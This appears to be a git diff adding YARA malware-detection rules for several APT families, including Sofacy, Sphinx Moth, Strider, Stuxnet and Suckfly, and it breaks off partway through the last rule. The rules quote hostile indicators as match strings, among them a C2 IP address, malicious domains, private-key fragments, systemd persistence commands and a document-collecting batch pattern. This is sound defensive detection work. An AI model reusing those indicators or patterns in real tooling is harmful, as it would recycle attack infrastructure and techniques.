+		hash = "92dcb0d8394d0df1064e68d90cd90a6ae5863e91f194cbaac85ec21c202f581f"
+		hash = "b1f2d461856bb6f2760785ee1af1a33c71f84986edf7322d3e9bd974ca95f92d"
+	strings:
+		$s1 = "msdetltemp.dll" fullword ascii
+		$s2 = "msdeltemp.dll" fullword wide
+		$s3 = "Delete Temp Folder Service" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 2 of them
+}
+
+rule Sofacy_CollectorStealer_Gen3 {
+	meta:
+		description = "File collectors / USB stealers - Generic"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+		date = "2015-12-04"
+		hash = "92dcb0d8394d0df1064e68d90cd90a6ae5863e91f194cbaac85ec21c202f581f"
+		hash = "4e4606313c423b681e11110ca5ed3a2b2632ec6c556b7ab9642372ae709555f3"
+	strings:
+		$s1 = "NvCpld.dll" fullword ascii
+		$s4 = "NvStart" fullword ascii
+		$s5 = "NvStop" fullword ascii
+
+		$a1 = "%.4d%.2d%.2d%.2d%.2d%.2d%.2d%.4d" fullword wide
+		$a2 = "IGFSRVC.dll" fullword wide
+		$a3 = "Common User Interface" fullword wide
+		$a4 = "igfsrvc Module" fullword wide
+
+		$b1 = " Operating System                        " fullword wide
+		$b2 = "Microsoft Corporation                                       " fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and
+		( all of ($s*) and (all of ($a*) or all of ($b*)))
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_sofacy_fysbis.yar b/yara-mikesxrs/Florian Roth/apt_sofacy_fysbis.yar
new file mode 100644
index 0000000..2588ff3
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_sofacy_fysbis.yar	
@@ -0,0 +1,50 @@
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-02-13
+	Identifier: Sofacy Fysbis
+*/
+
+rule Sofacy_Fybis_ELF_Backdoor_Gen1 {
+	meta:
+		description = "Detects Sofacy Fysbis Linux Backdoor_Naikon_APT_Sample1"
+		author = "Florian Roth"
+		reference = "http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/"
+		date = "2016-02-13"
+		score = 80
+		hash1 = "02c7cf55fd5c5809ce2dce56085ba43795f2480423a4256537bfdfda0df85592"
+		hash2 = "8bca0031f3b691421cb15f9c6e71ce193355d2d8cf2b190438b6962761d0c6bb"
+	strings:
+		$x1 = "Your command not writed to pipe" fullword ascii
+		$x2 = "Terminal don`t started for executing command" fullword ascii
+		$x3 = "Command will have end with \\n" fullword ascii
+
+		$s1 = "WantedBy=multi-user.target' >> /usr/lib/systemd/system/" fullword ascii
+		$s2 = "Success execute command or long for waiting executing your command" fullword ascii
+		$s3 = "ls /etc | egrep -e\"fedora*|debian*|gentoo*|mandriva*|mandrake*|meego*|redhat*|lsb-*|sun-*|SUSE*|release\"" fullword ascii
+		$s4 = "rm -f /usr/lib/systemd/system/" fullword ascii
+		$s5 = "ExecStart=" fullword ascii
+		$s6 = "<table><caption><font size=4 color=red>TABLE EXECUTE FILES</font></caption>" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 500KB and 1 of ($x*) ) or
+		( 1 of ($x*) and 3 of ($s*) )
+}
+
+rule Sofacy_Fysbis_ELF_Backdoor_Gen2 {
+	meta:
+		description = "Detects Sofacy Fysbis Linux Backdoor"
+		author = "Florian Roth"
+		reference = "http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/"
+		date = "2016-02-13"
+		score = 80
+		hash1 = "02c7cf55fd5c5809ce2dce56085ba43795f2480423a4256537bfdfda0df85592"
+		hash2 = "8bca0031f3b691421cb15f9c6e71ce193355d2d8cf2b190438b6962761d0c6bb"
+		hash3 = "fd8b2ea9a2e8a67e4cb3904b49c789d57ed9b1ce5bebfe54fe3d98214d6a0f61"
+	strings:
+		$s1 = "RemoteShell" ascii
+		$s2 = "basic_string::_M_replace_dispatch" fullword ascii
+		$s3 = "HttpChannel" ascii
+	condition:
+		uint16(0) == 0x457f and filesize < 500KB and all of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_sofacy_jun16.yar b/yara-mikesxrs/Florian Roth/apt_sofacy_jun16.yar
new file mode 100644
index 0000000..e94c6ac
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_sofacy_jun16.yar	
@@ -0,0 +1,59 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-06-14
+	Identifier: Sofacy June 2016
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Sofacy_Jun16_Sample1 {
+	meta:
+		description = "Detects Sofacy Malware mentioned in PaloAltoNetworks APT report"
+		author = "Florian Roth"
+		reference = "http://goo.gl/mzAa97"
+		date = "2016-06-14"
+		score = 85
+		hash1 = "be1cfa10fcf2668ae01b98579b345ebe87dab77b6b1581c368d1aba9fd2f10a0"
+	strings:
+		$s1 = "clconfg.dll" fullword ascii
+		$s2 = "ASijnoKGszdpodPPiaoaghj8127391" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and ( 1 of ($s*) ) ) or ( all of them )
+}
+
+rule Sofacy_Jun16_Sample2 {
+	meta:
+		description = "Detects Sofacy Malware mentioned in PaloAltoNetworks APT report"
+		author = "Florian Roth"
+		reference = "http://goo.gl/mzAa97"
+		date = "2016-06-14"
+		score = 85
+		hash1 = "57d230ddaf92e2d0504e5bb12abf52062114fb8980c5ecc413116b1d6ffedf1b"
+		hash2 = "69940a20ab9abb31a03fcefe6de92a16ed474bbdff3288498851afc12a834261"
+		hash3 = "aeeab3272a2ed2157ebf67f74c00fafc787a2b9bbaa17a03be1e23d4cb273632"
+	strings:
+		$x1 = "DGMNOEP" fullword ascii
+		$x2 = "/%s%s%s/?%s=" fullword ascii
+
+		$s1 = "Control Panel\\Dehttps=https://%snetwork.proxy.ht2" fullword ascii
+		$s2 = "http=http://%s:%Control Panel\\Denetwork.proxy.ht&ol1mS9" fullword ascii
+		$s3 = "svchost.dll" fullword wide
+		$s4 = "clconfig.dll" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 100KB and ( all of ($x*) ) ) or ( 3 of them )
+}
+
+rule Sofacy_Jun16_Sample3 {
+	meta:
+		description = "Detects Sofacy Malware mentioned in PaloAltoNetworks APT report"
+		author = "Florian Roth"
+		reference = "http://goo.gl/mzAa97"
+		date = "2016-06-14"
+		score = 85
+		hash1 = "c2551c4e6521ac72982cb952503a2e6f016356e02ee31dea36c713141d4f3785"
+	strings:
+		$s1 = "ASLIiasiuqpssuqkl713h" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and $s1
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_sofacy_xtunnel_bundestag.yar b/yara-mikesxrs/Florian Roth/apt_sofacy_xtunnel_bundestag.yar
new file mode 100644
index 0000000..8ed1064
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_sofacy_xtunnel_bundestag.yar	
@@ -0,0 +1,98 @@
+
+rule apt_sofacy_xtunnel {
+    meta:
+        author = "Claudio Guarnieri"
+        description = "Sofacy Malware - German Bundestag"
+        score = 75
+    strings:
+        $xaps = ":\\PROJECT\\XAPS_"
+        $variant11 = "XAPS_OBJECTIVE.dll" $variant12 = "start"
+        $variant21 = "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0"
+        $variant22 = "is you live?"
+        $mix1 = "176.31.112.10"
+        $mix2 = "error in select, errno %d" $mix3 = "no msg"
+        $mix4 = "is you live?"
+        $mix5 = "127.0.0.1"
+        $mix6 = "err %d"
+        $mix7 = "i`m wait"
+        $mix8 = "hello"
+        $mix9 = "OpenSSL 1.0.1e 11 Feb 2013" $mix10 = "Xtunnel.exe"
+    condition:
+        ((uint16(0) == 0x5A4D) or (uint16(0) == 0xCFD0)) and (($xaps) or (all of ($variant1*)) or (all of ($variant2*)) or (6 of ($mix*)))
+}
+
+rule Winexe_RemoteExecution {
+    meta:
+        description = "Winexe tool used by Sofacy group several APT cases"
+        author = "Florian Roth"
+        reference = "http://dokumente.linksfraktion.de/inhalt/report-orig.pdf"
+        date = "2015-06-19"
+        hash = "5130f600cd9a9cdc82d4bad938b20cbd2f699aadb76e7f3f1a93602330d9997d"
+        score = 70
+    strings:
+        $s1 = "\\\\.\\pipe\\ahexec" fullword ascii
+        $s2 = "implevel" fullword ascii
+    condition:
+        uint16(0) == 0x5a4d and filesize < 115KB and all of them
+}
+
+rule Sofacy_Mal2 {
+    meta:
+        description = "Sofacy Group Malware Sample 2"
+        author = "Florian Roth"
+        reference = "http://dokumente.linksfraktion.de/inhalt/report-orig.pdf"
+        date = "2015-06-19"
+        hash = "566ab945f61be016bfd9e83cc1b64f783b9b8deb891e6d504d3442bc8281b092"
+        score = 70
+    strings:
+        $x1 = "PROJECT\\XAPS_OBJECTIVE_DLL\\" ascii
+        $x2 = "XAPS_OBJECTIVE.dll" fullword ascii
+
+        $s1 = "i`m wait" fullword ascii
+    condition:
+        uint16(0) == 0x5a4d and ( 1 of ($x*) ) and $s1
+}
+
+rule Sofacy_Mal3 {
+    meta:
+        description = "Sofacy Group Malware Sample 3"
+        author = "Florian Roth"
+        reference = "http://dokumente.linksfraktion.de/inhalt/report-orig.pdf"
+        date = "2015-06-19"
+        hash = "5f6b2a0d1d966fc4f1ed292b46240767f4acb06c13512b0061b434ae2a692fa1"
+        score = 70
+    strings:
+        $s1 = "shell\\open\\command=\"System Volume Information\\USBGuard.exe\" install" fullword ascii
+        $s2 = ".?AVAgentModuleRemoteKeyLogger@@" fullword ascii
+        $s3 = "<font size=4 color=red>process isn't exist</font>" fullword ascii
+        $s4 = "<font size=4 color=red>process is exist</font>" fullword ascii
+        $s5 = ".winnt.check-fix.com" fullword ascii
+        $s6 = ".update.adobeincorp.com" fullword ascii
+        $s7 = ".microsoft.checkwinframe.com" fullword ascii
+        $s8 = "adobeincorp.com" fullword wide
+        $s9 = "# EXC: HttpSender - Cannot create Get Channel!" fullword ascii
+
+        $x1 = "User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:20.0) Gecko/20100101 Firefox/" wide
+        $x2 = "User-Agent: Mozilla/5.0 (Windows NT 6.; WOW64; rv:20.0) Gecko/20100101 Firefox/2" wide
+        $x3 = "C:\\Windows\\System32\\cmd.exe" fullword wide
+    condition:
+        uint16(0) == 0x5a4d and filesize < 300KB and (
+            2 of ($s*) or
+            ( 1 of ($s*) and all of ($x*) )
+        )
+}
+
+rule Sofacy_Bundestag_Batch {
+    meta:
+        description = "Sofacy Bundestags APT Batch Script"
+        author = "Florian Roth"
+        reference = "http://dokumente.linksfraktion.de/inhalt/report-orig.pdf"
+        date = "2015-06-19"
+        score = 70
+    strings:
+        $s1 = "for %%G in (.pdf, .xls, .xlsx, .doc, .docx)" ascii
+        $s2 = "cmd /c copy"
+        $s3 = "forfiles"
+    condition:
+        filesize < 10KB and 2 of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_sphinx_moth.yar b/yara-mikesxrs/Florian Roth/apt_sphinx_moth.yar
new file mode 100644
index 0000000..7e6d157
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_sphinx_moth.yar	
@@ -0,0 +1,114 @@
+/*
+    Yara Rule Set
+    Author: Kudelski Security (modified by Florian Roth)
+    Reference: https://www.kudelskisecurity.com/sites/default/files/sphinx_moth_cfc_report.pdf
+    Date: 2015-11-23
+    Identifier: Sphinx Moth
+*/
+
+rule Sphinx_Moth_cudacrt { 
+    meta:
+        description = "sphinx moth threat group file cudacrt.dll" 
+        author = "Kudelski Security - Nagravision SA"
+        reference = "www.kudelskisecurity.com"
+        date = "2015-08-06"
+    strings:
+        $s0 = "HPSSOEx.dll" fullword wide
+        $s1 = "255.255.255.254" fullword wide
+        $s2 = "SOFTWARE\\SsoAuth\\Service" fullword wide
+
+        $op0 = { ff 15 5f de 00 00 48 8b f8 48 85 c0 75 0d 48 8b } /* Opcode */ 
+        $op1 = { 45 33 c9 4c 8d 05 a7 07 00 00 33 d2 33 c9 ff 15 } /* Opcode */ 
+        $op2 = { e8 7a 1c 00 00 83 f8 01 74 17 b9 03 } /* Opcode */
+    condition:
+        uint16(0) == 0x5a4d and filesize < 243KB and all of ($s*) and 1 of ($op*)
+}
+
+rule Sphinx_Moth_h2t { 
+    meta:
+        description = "sphinx moth threat group file h2t.dat" 
+        author = "Kudelski Security - Nagravision SA (modified by Florian Roth)" 
+        reference = "www.kudelskisecurity.com"
+        date = "2015-08-06"
+    strings:
+        $x1 = "%s <proxy ip> <proxy port> <target ip> <target port> <cmd> [arg1 cmd] ... [argX cmd]" fullword ascii 
+        
+        $s1 = "[-] Error in connection() %d - %s" fullword ascii
+        $s2 = "[-] Child process exit." fullword ascii
+        $s3 = "POST http://%s:%s/ HTTP/1.1" fullword ascii
+        $s4 = "pipe() to" fullword ascii
+        $s5 = "pipe() from" fullword ascii
+    condition:
+        uint16(0) == 0x5a4d and filesize < 156KB and ($x1 or all of ($s*))
+}
+
+rule Sphinx_Moth_iastor32 { 
+    meta:
+        description = "sphinx moth threat group file iastor32.exe" 
+        author = "Kudelski Security - Nagravision SA"
+        reference = "www.kudelskisecurity.com"
+        date = "2015-08-06"
+    strings:
+        $s0 = "MIIEpQIBAAKCAQEA4lSvv/W1Mkz38Q3z+EzJBZRANzKrlxeE6/UXWL67YtokF2nN" fullword ascii /* private key */
+        $s1 = "iAeS3CCA4wli6+9CIgX8SAiXd5OezHvI1jza61z/flsqcC1IP//gJVt16nRx3s9z" fullword ascii /* private key */
+    condition:
+        uint16(0) == 0x5a4d and filesize < 2000KB and all of them
+}
+
+rule Sphinx_Moth_kerberos32 {
+    meta:
+        description = "sphinx moth threat group file kerberos32.dll" 
+        author = "Kudelski Security - Nagravision SA (modified by Florian Roth)"
+        reference = "www.kudelskisecurity.com"
+        date = "2015-08-06"
+    strings:
+        $x1 = "%WINDIR%\\ativpsrz.bin" fullword ascii
+        $x2 = "%WINDIR%\\ativpsrn.bin" fullword ascii
+        $x3 = "kerberos32.dll" fullword wide
+        $x4 = "KERBEROS64.dll" fullword ascii
+        $x5 = "kerberos%d.dll" fullword ascii
+
+        $s1 = "\\\\.\\pipe\\lsassp" fullword ascii
+        $s2 = "LSASS secure pipe" fullword ascii /* PEStudio Blacklist: strings */ 
+        $s3 = "NullSessionPipes" fullword ascii /* PEStudio Blacklist: strings */ 
+        $s4 = "getlog" fullword ascii
+        $s5 = "startlog" fullword ascii /* PEStudio Blacklist: strings */
+        $s6 = "stoplog" fullword ascii /* PEStudio Blacklist: strings */
+        $s7 = "Unsupported OS (%d)" fullword ascii /* PEStudio Blacklist: strings */ 
+        $s8 = "Unsupported OS (%s)" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        uint16(0) == 0x5a4d and filesize < 300KB and (2 of ($x*) or all of ($s*))
+}
+
+rule Sphinx_Moth_kerberos64 { 
+    meta:
+        description = "sphinx moth threat group file kerberos64.dll" 
+        author = "Kudelski Security - Nagravision SA (modified by Florian Roth)"
+        reference = "www.kudelskisecurity.com"
+        date = "2015-08-06"
+    strings:
+        $s0 = "KERBEROS64.dll" fullword ascii
+        $s1 = "zeSecurityDescriptor" fullword ascii
+        $s2 = "SpGetInfo" fullword ascii
+        $s3 = "SpShutdown" fullword ascii
+        $op0 = { 75 05 e8 6a c7 ff ff 48 8b 1d 47 d6 00 00 33 ff } /* Opcode */ 
+        $op1 = { 48 89 05 0c 2b 01 00 c7 05 e2 29 01 00 09 04 00 } /* Opcode */ 
+        $op2 = { 48 8d 3d e3 ee 00 00 ba 58 } /* Opcode */
+    condition:
+        uint16(0) == 0x5a4d and filesize < 406KB and all of ($s*) and 1 of ($op*)
+}
+
+rule Sphinx_Moth_nvcplex { 
+    meta:
+        description = "sphinx moth threat group file nvcplex.dat" 
+        author = "Kudelski Security - Nagravision SA"
+        reference = "www.kudelskisecurity.com"
+        date = "2015-08-06"
+    strings:
+        $s0 = "mshtaex.exe" fullword wide
+        $op0 = { 41 8b cc 44 89 6c 24 28 48 89 7c 24 20 ff 15 d3 } /* Opcode */ 
+        $op1 = { 48 3b 0d ad 8f 00 00 74 05 e8 ba f5 ff ff 48 8b } /* Opcode */ 
+        $op2 = { 8b ce e8 49 47 00 00 90 8b 43 04 89 05 93 f1 00 } /* Opcode */
+    condition:
+        uint16(0) == 0x5a4d and filesize < 214KB and all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/apt_strider.yara b/yara-mikesxrs/Florian Roth/apt_strider.yara
new file mode 100644
index 0000000..abbc043
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_strider.yara	
@@ -0,0 +1,84 @@
+/*
+	Yara Rule Set
+	Author: Symantec
+	Date: 2016-08-08
+	Identifier: Strider
+*/
+
+rule remsec_executable_blob_32 {
+   meta:
+      copyright = "Symantec"
+      description = "Detects malware from Symantec's Strider APT report"
+      score = 80
+      date = "2016/08/08"
+      reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
+   strings:
+      $code = { 31 06 83 C6 04 D1 E8 73 05 35 01 00 00 D0 E2 F0 }
+   condition:
+      all of them
+}
+
+rule remsec_executable_blob_64 {
+   meta:
+      copyright = "Symantec"
+      description = "Detects malware from Symantec's Strider APT report"
+      score = 80
+      date = "2016/08/08"
+      reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
+   strings:
+      $code = { 31 06 48 83 C6 04 D1 E8 73 05 35 01 00 00 D0 E2 EF }
+   condition:
+      all of them
+}
+
+rule remsec_executable_blob_parser {
+   meta:
+      copyright = "Symantec"
+      description = "Detects malware from Symantec's Strider APT report"
+      score = 80
+      date = "2016/08/08"
+      reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
+   strings:
+      $code = { ( 0F 82 ?? ?? 00 00 | 72 ?? ) ( 80 | 41 80 ) ( 7? | 7C 24 ) 04 02 ( 0F 85 ?? ?? 00 00 | 75 ?? ) ( 81 | 41 81 ) ( 3? | 3C 24 | 7D 00 ) 02 AA 02 C1 ( 0F 85 ?? ?? 00 00 | 75 ?? ) ( 8B | 41 8B | 44 8B | 45 8B ) ( 4? | 5? | 6? | 7? | ?4 24 | ?C 24 ) 06 }
+   condition:
+      all of them
+}
+
+rule remsec_encrypted_api {
+   meta:
+      copyright = "Symantec"
+      description = "Detects malware from Symantec's Strider APT report"
+      score = 80
+      date = "2016/08/08"
+      reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
+   strings:
+      $open_process = { 91 9A 8F B0 9C 90 8D AF 8C 8C 9A FF }
+   condition:
+      all of them
+}
+
+rule remsec_packer_A {
+   meta:
+      copyright = "Symantec"
+      description = "Detects malware from Symantec's Strider APT report"
+      score = 80
+      date = "2016/08/08"
+      reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
+   strings:
+      $code = { 69 ( C? | D? | E? | F? ) AB 00 00 00 ( 81 | 41 81 ) C? CD 2B 00 00 ( F7 | 41 F7 ) E? ( C1 | 41 C1 ) E? 0D ( 69 | 45 69 ) ( C? | D? | E? | F? ) 85 CF 00 00 ( 29 | 41 29 | 44 29 | 45 29 | 2B | 41 2B | 44 2B | 45 2B ) }
+   condition:
+      all of them
+}
+
+rule remsec_packer_B {
+   meta:
+      copyright = "Symantec"
+      description = "Detects malware from Symantec's Strider APT report"
+      score = 80
+      date = "2016/08/08"
+      reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
+   strings:
+      $code = { 48 8B 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 05 ?? ?? ?? ?? 48 8D 4C 24 ?? 48 89 44 24 ?? 48 8D ( 45 ?? | 84 24 ?? ?? 00 00 ) ( 44 88 6? 24 ?? | C6 44 24 ?? 00 ) 48 89 44 24 ?? 48 8D ( 45 ?? | 84 24 ?? ?? 00 00 ) C7 44 24 ?? 0? 00 00 00 2B ?8 48 89 ?C 24 ?? 44 89 6? 24 ?? 83 C? 08 89 ?C 24 ?? ( FF | 41 FF ) D? ( 05 | 8D 88 ) 00 00 00 3A }
+   condition:
+      all of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_stuxnet.yar b/yara-mikesxrs/Florian Roth/apt_stuxnet.yar
new file mode 100644
index 0000000..83168d9
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_stuxnet.yar	
@@ -0,0 +1,172 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-07-09
+	Identifier: Stuxnet
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule StuxNet_Malware_1 {
+	meta:
+		description = "Stuxnet Sample - file malware.exe"
+		author = "Florian Roth"
+		reference = "Internal Research"
+		date = "2016-07-09"
+		hash1 = "9c891edb5da763398969b6aaa86a5d46971bd28a455b20c2067cb512c9f9a0f8"
+	strings:
+		 // 0x10001778 8b 45 08  mov     eax, dword ptr [ebp + 8]
+		 // 0x1000177b 35 dd 79 19 ae    xor     eax, 0xae1979dd
+		 // 0x10001780 33 c9     xor     ecx, ecx
+		 // 0x10001782 8b 55 08  mov     edx, dword ptr [ebp + 8]
+		 // 0x10001785 89 02     mov     dword ptr [edx], eax
+		 // 0x10001787 89 ?? ??  mov     dword ptr [edx + 4], ecx
+		 $op1 = { 8b 45 08 35 dd 79 19 ae 33 c9 8b 55 08 89 02 89 }
+		 // 0x10002045 74 36     je      0x1000207d
+		 // 0x10002047 8b 7f 08  mov     edi, dword ptr [edi + 8]
+		 // 0x1000204a 83 ff 00  cmp     edi, 0
+		 // 0x1000204d 74 2e     je      0x1000207d
+		 // 0x1000204f 0f b7 1f  movzx   ebx, word ptr [edi]
+		 // 0x10002052 8b 7f 04  mov     edi, dword ptr [edi + 4]
+		 $op2 = { 74 36 8b 7f 08 83 ff 00 74 2e 0f b7 1f 8b 7f 04 }
+		 // 0x100020cf 74 70     je      0x10002141
+		 // 0x100020d1 81 78 05 8d 54 24 04      cmp     dword ptr [eax + 5], 0x424548d
+		 // 0x100020d8 75 1b     jne     0x100020f5
+		 // 0x100020da 81 78 08 04 cd ?? ??      cmp     dword ptr [eax + 8], 0xc22ecd04
+		 $op3 = { 74 70 81 78 05 8d 54 24 04 75 1b 81 78 08 04 cd }
+	condition:
+		all of them
+}
+
+rule Stuxnet_Malware_2 {
+	meta:
+		description = "Stuxnet Sample - file 63e6b8136058d7a06dfff4034b4ab17a261cdf398e63868a601f77ddd1b32802"
+		author = "Florian Roth"
+		reference = "Internal Research"
+		date = "2016-07-09"
+		hash1 = "63e6b8136058d7a06dfff4034b4ab17a261cdf398e63868a601f77ddd1b32802"
+	strings:
+		$s1 = "\\SystemRoot\\System32\\hal.dll" fullword wide
+		$s2 = "http://www.jmicron.co.tw0" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 70KB and all of them
+}
+
+rule StuxNet_dll {
+	meta:
+		description = "Stuxnet Sample - file dll.dll"
+		author = "Florian Roth"
+		reference = "Internal Research"
+		date = "2016-07-09"
+		hash1 = "9e392277f62206098cf794ddebafd2817483cfd57ec03c2e05e7c3c81e72f562"
+	strings:
+		$s1 = "SUCKM3 FROM EXPLORER.EXE MOTH4FUCKA #@!" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and $s1
+}
+
+rule Stuxnet_Shortcut_to {
+	meta:
+		description = "Stuxnet Sample - file Copy of Shortcut to.lnk"
+		author = "Florian Roth"
+		reference = "Internal Research"
+		date = "2016-07-09"
+		hash1 = "801e3b6d84862163a735502f93b9663be53ccbdd7f12b0707336fecba3a829a2"
+	strings:
+		$x1 = "\\\\.\\STORAGE#Volume#_??_USBSTOR#Disk&Ven_Kingston&Prod_DataTraveler_2.0&Rev_PMAP#5B6B098B97BE&0#{53f56307-b6bf-11d0-94f2-00a0c" wide
+	condition:
+		uint16(0) == 0x004c and filesize < 10KB and $x1
+}
+
+rule Stuxnet_Malware_3 {
+	meta:
+		description = "Stuxnet Sample - file ~WTR4141.tmp"
+		author = "Florian Roth"
+		reference = "Internal Research"
+		date = "2016-07-09"
+		hash1 = "6bcf88251c876ef00b2f32cf97456a3e306c2a263d487b0a50216c6e3cc07c6a"
+		hash2 = "70f8789b03e38d07584f57581363afa848dd5c3a197f2483c6dfa4f3e7f78b9b"
+	strings:
+		$x1 = "SHELL32.DLL.ASLR." fullword wide
+
+		$s1 = "~WTR4141.tmp" fullword wide
+		$s2 = "~WTR4132.tmp" fullword wide
+		$s3 = "totalcmd.exe" fullword wide
+		$s4 = "wincmd.exe" fullword wide
+		$s5 = "http://www.realtek.com0" fullword ascii
+		$s6 = "{%08x-%08x-%08x-%08x}" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 150KB and ( $x1 or 3 of ($s*) ) ) or ( 5 of them )
+}
+
+rule Stuxnet_Malware_4 {
+	meta:
+		description = "Stuxnet Sample - file 0d8c2bcb575378f6a88d17b5f6ce70e794a264cdc8556c8e812f0b5f9c709198"
+		author = "Florian Roth"
+		reference = "Internal Research"
+		date = "2016-07-09"
+		hash1 = "0d8c2bcb575378f6a88d17b5f6ce70e794a264cdc8556c8e812f0b5f9c709198"
+		hash2 = "1635ec04f069ccc8331d01fdf31132a4bc8f6fd3830ac94739df95ee093c555c"
+	strings:
+		$x1 = "\\objfre_w2k_x86\\i386\\guava.pdb" ascii
+		$x2 = "MRxCls.sys" fullword wide
+		$x3 = "MRXNET.Sys" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 80KB and 1 of them ) or ( all of them )
+}
+
+rule Stuxnet_maindll_decrypted_unpacked {
+	meta:
+		description = "Stuxnet Sample - file maindll.decrypted.unpacked.dll_"
+		author = "Florian Roth"
+		reference = "Internal Research"
+		date = "2016-07-09"
+		hash1 = "4c3d7b38339d7b8adf73eaf85f0eb9fab4420585c6ab6950ebd360428af11712"
+	strings:
+		$s1 = "%SystemRoot%\\system32\\Drivers\\mrxsmb.sys;%SystemRoot%\\system32\\Drivers\\*.sys" fullword wide
+		$s2 = "<Actions Context=\"%s\"><Exec><Command>%s</Command><Arguments>%s,#%u</Arguments></Exec></Actions>" fullword wide
+		$s3 = "%SystemRoot%\\inf\\oem7A.PNF" fullword wide
+		$s4 = "%SystemRoot%\\inf\\mdmcpq3.PNF" fullword wide
+		$s5 = "%SystemRoot%\\inf\\oem6C.PNF" fullword wide
+		$s6 = "@abf varbinary(4096) EXEC @hr = sp_OACreate 'ADODB.Stream', @aods OUT IF @hr <> 0 GOTO endq EXEC @hr = sp_OASetProperty @" wide
+		$s7 = "STORAGE#Volume#1&19f7e59c&0&" fullword wide
+		$s8 = "view MCPVREADVARPERCON as select VARIABLEID,VARIABLETYPEID,FORMATFITTING,SCALEID,VARIABLENAME,ADDRESSPARAMETER,PROTOKOLL,MAXLIMI" ascii
+	condition:
+		 6 of them
+}
+
+rule Stuxnet_s7hkimdb {
+	meta:
+		description = "Stuxnet Sample - file s7hkimdb.dll"
+		author = "Florian Roth"
+		reference = "Internal Research"
+		date = "2016-07-09"
+		hash1 = "4071ec265a44d1f0d42ff92b2fa0b30aafa7f6bb2160ed1d0d5372d70ac654bd"
+	strings:
+		$x1 = "S7HKIMDX.DLL" fullword wide
+
+		/* Opcodes by Binar.ly */
+
+		// 0x10001778 8b 45 08  mov     eax, dword ptr [ebp + 8]
+		// 0x1000177b 35 dd 79 19 ae    xor     eax, 0xae1979dd
+		// 0x10001780 33 c9     xor     ecx, ecx
+		// 0x10001782 8b 55 08  mov     edx, dword ptr [ebp + 8]
+		// 0x10001785 89 02     mov     dword ptr [edx], eax
+		// 0x10001787 89 ?? ??  mov     dword ptr [edx + 4], ecx
+		$op1 = { 8b 45 08 35 dd 79 19 ae 33 c9 8b 55 08 89 02 89 }
+		// 0x10002045 74 36     je      0x1000207d
+		// 0x10002047 8b 7f 08  mov     edi, dword ptr [edi + 8]
+		// 0x1000204a 83 ff 00  cmp     edi, 0
+		// 0x1000204d 74 2e     je      0x1000207d
+		// 0x1000204f 0f b7 1f  movzx   ebx, word ptr [edi]
+		// 0x10002052 8b 7f 04  mov     edi, dword ptr [edi + 4]
+		$op2 = { 74 36 8b 7f 08 83 ff 00 74 2e 0f b7 1f 8b 7f 04 }
+		// 0x100020cf 74 70     je      0x10002141
+		// 0x100020d1 81 78 05 8d 54 24 04      cmp     dword ptr [eax + 5], 0x424548d
+		// 0x100020d8 75 1b     jne     0x100020f5
+		// 0x100020da 81 78 08 04 cd ?? ??      cmp     dword ptr [eax + 8], 0xc22ecd04
+		$op3 = { 74 70 81 78 05 8d 54 24 04 75 1b 81 78 08 04 cd }
+
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 40KB and $x1 and all of ($op*) )
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_suckfly.yar b/yara-mikesxrs/Florian Roth/apt_suckfly.yar
new file mode 100644
index 0000000..7b20c91
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_suckfly.yar	
@@ -0,0 +1,73 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-06-08
+	Identifier: Suckfly Nidiran
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Nidiran_Trojan_1 {
+	meta:
+		description = "Detects Nidiran malware from Suckfly APT group"
+		author = "Florian Roth"
+		reference = "http://goo.gl/F3r1rr"
+		date = "2016-06-08"
